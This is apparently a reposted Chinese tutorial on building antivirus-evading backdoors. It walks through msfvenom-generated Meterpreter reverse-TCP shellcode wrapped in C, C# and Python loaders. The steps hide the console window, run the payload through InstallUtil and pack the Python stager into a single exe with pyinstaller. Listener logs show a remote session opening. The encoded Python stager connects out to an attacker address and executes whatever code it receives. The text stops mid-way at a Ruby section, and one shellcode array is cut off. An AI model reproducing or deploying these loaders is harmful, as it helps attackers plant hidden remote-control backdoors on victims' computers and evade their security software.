Payload 实现分离免杀

發布時間：2023/12/20 编程问答 22 豆豆

生活随笔收集整理的這篇文章主要介紹了 Payload 实现分离免杀小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

眾所周知，目前的殺毒軟件的殺毒原理主要有三種方式，一種基于特征，一種基于行為，一種基于云查殺，其中云查殺的一些特點基本上也可以概括為特征碼查殺，不管是哪一種殺毒軟件，都會檢查PE文件頭，尤其是當后門程序越大時，越容易被查殺。

通過C語言編譯后門

1.首先使用msfvenom命令生成一句簡短的shellcode,這里指定連接地址為IP=192.168.1.7,PORT=8888,當執行shellcode生成命令時屏幕會輸出一些十六進制的文本,這些文本其實是機器碼的編碼形式,以下是對參數的解釋.

[root@localhost ~]# msfvenom -a x86 --platform Windows \ > -p windows/meterpreter/reverse_tcp \ > -b '\x00\x0b' LHOST=192.168.1.7 LPORT=8888 -f c Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 368 (iteration=0) x86/shikata_ga_nai chosen with final size 368 Payload size: 368 bytes Final size of c file: 1571 bytes unsigned char buf[] = "\xd9\xc5\xd9\x74\x24\xf4\xba\x8b\xfc\x02\xdd\x5e\x2b\xc9\xb1" "\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x9f\x1e\xf7\x21\x77\x5c" "\xf8\xd9\x87\x01\x70\x3c\xb6\x01\xe6\x34\xe8\xb1\x6c\x18\x04" "\x39\x20\x89\x9f\x4f\xed\xbe\x28\xe5\xcb\xf1\xa9\x56\x2f\x93" "\xca\xec\x3f\xcd\x34\xa2\x40\xc4";-a #指定payload目標框架 --platform #指定payload的目標平臺 -p, --payload #指定需要使用的payload(攻擊荷載) -f, --format #指定輸出格式 (使用 --help-formats 來獲取msf) -b '\x00\x0b' #規避特殊字符串

2.將上面的ShellCode代碼復制下來,打開VS Express編譯器,并寫以下C代碼,這里使用內聯匯編的形式調用這段ShellCode代碼.

#include <stdio.h> #include <windows.h>//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 隱藏控制臺窗口顯示 #pragma comment(linker,"/INCREMENTAL:NO") // 減小編譯體積 #pragma comment(linker, "/section:.data,RWE") // 啟用數據段可讀寫unsigned char shellcode[] = "\xd9\xc5\xd9\x74\x24\xf4\xba\x8b\xfc\x02\xdd\x5e\x2b\xc9\xb1" "\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x9f\x1e\xf7\x21\x77\x5c" "\xf8\xd9\x87\x01\x70\x3c\xb6\x01\xe6\x34\xe8\xb1\x6c\x18\x04" "\x39\x20\x89\x9f\x4f\xed\xbe\x28\xe5\xcb\xf1\xa9\x56\x2f\x93" "\xca\xec\x3f\xcd\x34\xa2\x40\xc4";int main(int argc, char **argv) {__asm{lea eax, shellcodecall eax}return 0; }

此外出去上面的這種匯編形式,這里我也整理了其他的一些調用ShellCode的代碼.

//第1種方法 void RunShellCode_2() { ((void(*)(void))&shellcode)(); } //第2種方法 void RunShellCode_3() { __asm { lea eax, shellcode; jmp eax; } } //第3種方法 void RunShellCode_4() { __asm { mov eax, offset shellcode; jmp eax; } } //第4種方法 void RunShellCode_5() { __asm { mov eax, offset shellcode; _emit 0xFF; _emit 0xE0; } }

3.在MFS控制主機,啟動偵聽程序.

msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > msf5 exploit(multi/handler) > show optionsmsf5 exploit(multi/handler) > set lhost 192.168.1.7 lhost => 192.168.1.7 msf5 exploit(multi/handler) > set lport 8888 lport => 8888 msf5 exploit(multi/handler) > exploit[*] Started reverse TCP handler on 192.168.1.7:8888

啟動我們的shellcode代碼,就可看到反彈回一個shell.

msf5 exploit(multi/handler) > exploit[*] Started reverse TCP handler on 192.168.1.7:8888 [*] Sending stage (179779 bytes) to 192.168.1.2 [*] Meterpreter session 1 opened (192.168.1.7:8888 -> 192.168.1.2:36805)meterpreter > sysinfo Computer : lyshark OS : Windows 10 (Build 19999). Architecture : x64 System Language : zh_CN Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter >

通過C#語言編譯后門

C#的在Windows平臺下的編譯器名稱是Csc.exe，如果你的.NET FrameWork SDK安裝在C盤，那么你可以在C:\Windows\Microsoft.NET\Framework64目錄中找到他的編譯程序。為
了使用方便，你可以手動把這個目錄添加到Path環境變量中去。

1.使用MSF工具生成后門ShellCode，并將這段ShellCode保存到lyshark.txt。

[root@localhost ~]# msfvenom --platform Windows -a x64 -p windows/x64/meterpreter/reverse_tcp_uuid \ > LHOST=192.168.1.30 LPORT=8080 -b '\x00' \ > -e x64/xor -i 10 -f csharp \ > -o ./lyshark.txt

2.將生成的ShellCode加入到加載程序中

using System; using System.Runtime.InteropServices; namespace TCPMeterpreterProcess {class Program{static void Main(string[] args){// 存放ShellCode代碼 byte[] shellcode = new byte[951] { 0x48,0x31,0xc9,0x48,0x81,0xe9,0x8e,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff, 0xff,0xff,0x48,0xbb,0xa9,0x1e,0xb2,0x1e,0x97,0xb9,0xdc,0x04,0x48,0x31,0x58,

3.使用C#編譯器編譯這段代碼，這里我保存為了lyshark.cs你可以自行命名，最終編譯出來的代碼才5kb不到。

4.接著運行程序，回到MSF控制臺啟動監聽。

msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.1.30 lhost => 192.168.1.7 msf5 exploit(multi/handler) > set lport 8080 lport => 8080msf5 exploit(multi/handler) > set exitonsession false exitonsession => false msf5 exploit(multi/handler) > set enablecontextencoding true enablecontextencoding => true msf5 exploit(multi/handler) > set Stageencoder x64/xor Stageencoder => x64/xor msf5 exploit(multi/handler) > set stageencodingfallback false stageencodingfallback => false msf5 exploit(multi/handler) > exploit -j -z

5.客戶端運行后門。

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U lyshark.exe

通過Python語言編譯后門

1.首先生成利用代碼，將內容寫入到lyshark.py文件中。

[root@localhost ~]# msfvenom -p python/meterpreter/reverse_tcp \ > lhost=192.168.1.30 lport=8888 \ > -f raw -o lyshark.py

2.手動復制這段生成后的代碼片段。

[root@localhost ~]# cat lyshark.py import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

3.我們在其上方加入一段屏蔽控制臺窗口的代碼，來實現隱藏控制臺窗口，最終代碼如下。

import base64,sys; import ctypeswhnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0:ctypes.windll.user32.ShowWindow(whnd, 0)ctypes.windll.kernel32.CloseHandle(whnd)exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

4.使用pyinstaller封裝成可執行程序，這里使用-F封裝成單個.exe文件，如果沒有的話可以在命令行執行 pip install pyinstaller 安裝這個工具。

C:\Users\lyshark\Desktop>pyinstaller -F lyshark.py 107 INFO: PyInstaller: 3.4 108 INFO: Python: 3.7.3 109 INFO: Platform: Windows-10-10.0.17763-SP0 113 INFO: wrote C:\Users\lyshark\Desktop\lyshark.spec 116 INFO: UPX is not available. 120 INFO: Extending PYTHONPATH with paths ['C:\\Users\\lyshark\\Desktop', 'C:\\Users\\lyshark\\Desktop'] 121 INFO: checking Analysis 121 INFO: Building Analysis because Analysis-00.toc is non existent 121 INFO: Initializing module dependency graph... 124 INFO: Initializing module graph hooks... 129 INFO: Analyzing base_library.zip ...

5.在MSF控制臺，打開一個監聽事件，并運行生成的二進制后門 lyshark.exe 完美實現免殺。

msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.1.30 lhost => 192.168.1.30 msf5 exploit(multi/handler) > set lport 8888 lport => 8888 msf5 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created.[*] Started reverse TCP handler on 192.168.1.30:8888 msf5 exploit(multi/handler) > sessions -i

當下，除了白名單上線外，python后門的穩定性一直很高，這也是因為python是腳本的原因，殺軟并沒有重視這一塊。

通過Ruby語言編譯后門
